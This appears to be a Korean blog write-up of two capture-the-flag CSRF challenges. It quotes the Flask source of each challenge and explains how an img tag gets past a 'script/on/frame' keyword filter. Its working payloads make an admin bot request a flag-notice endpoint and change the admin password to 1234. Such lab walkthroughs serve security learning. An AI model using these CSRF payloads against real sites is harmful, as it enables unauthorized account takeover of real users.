CSRF는 불특정 다수를 대상으로 사용자가 자신의 의지와는 무관하게 공격자가 의도한 코드를 실행하게 만드는 공격입니다.
XSS와 해킹 기법이 상당히 유사합니다.

화면은 이렇게 구성돼 있네요. flask 코드를 봅시다. 일단 뭐 어디서 정답이 출력되는지 생각해 봐야 하는데 어차피 XSS 공격 때 memo에서 나오는 거 다 알고 있으니 flag를 봅시다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
이건 바로 check_csrf로 파라미터랑 같이 들어가네요.
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
뭐 쿠키랑 파라미터랑 같이 read_url 함수 실행하고요.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
다른 거 다 필요없고 쿠키가 있는 상태에서 url로 들어가게 되네요.
그렇다면 <img> 태그를 이용해서 코드를 실행하면 어떨까요? 왜냐하면
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
스크립트로 바꾸려 하면... * 때문에 작동을 못합니다.
img 태그를 이용해서 쿠키가 필요한 곳에 들어가면 될 건데 마침 notice tag 창에 쿠키가 필요합니다.
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
메모에 출력되게 하고 싶으면 두 관문을 통과해야 하는데 그냥 일반적으로 들어가면 127.0.0.1이 아니기 때문에 거부됩니다. 그래서 selenium을 통해서 지나가려는 의도로 사용하는 겁니다.
그럼 일단 <img src="admin/notice_flag" /> 이런 식으로 쓰면 될 건데 한 관문은 그냥 단순히 get 방식으로 userid가 admin인지 아닌지 확인하는 거니까 <img src="admin/notice_flag?userid=admin" /> 이러면 메모에 출력되지 않을까요?

짜잔~ 하면서 flag가 출력하게 됩니다.

화면은 이렇게 구성돼 있는데 CSRF-1과는 다르게 생겼네요. flask 코드를 봅시다.
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
index에 유저 이름이 관리자면 flag가 출력되는 식이네요.
암호를 풀면 flag가 출력되겠죠?
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
우선 flag에서 session_id를 변형시켜 admin의 session_id로 session_storage에 저장합니다. check_csrf는 이렇게 생겼는데
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
cookie에 session_id와 session_storage가 들어가겠죠?
url은 파라미터와 같이 실행될 거고요.
read_url도 한번 봅시다.
def read_url(url, cookie={"name": "name", "value": "value"}):
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
다른 거 다 필요없고 이것만 보시면 됩니다.
자, 이렇게 하면 관리자 쿠키를 들고 있는 상태에서 보내겠죠?
http://127.0.0.1:8000/vuln는 파라미터를 그대로 출력하기 때문에 <img> 태그를 이용해 링크를 불러오면 그 링크가 실행되면서 사진이 보이게 됩니다.
그렇다면 어떤 링크를 통해 관리자 쿠키가 필요한 곳에 실행시키면 되겠죠?
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
마침 관리자 쿠키가 필요한 게 있습니다.
여기서 Get 방식으로 패스워드를 변경시켜 버리면 어떻게 되겠어요?
링크에 ? 붙이고 pw를 지정해 버리면 관리자 비밀번호가 변경되게 합니다.
그렇다면 <img src="/change_password?pw=1234" /> 이렇게 쓰시면
관리자의 비밀번호가 1234로 바뀌지 않을까요?
그래서 flag 입력란에 저렇게 쓰시면 됩니다.
로그인하시면

짜잔~하고 index에서 정답이 나오게 됩니다.
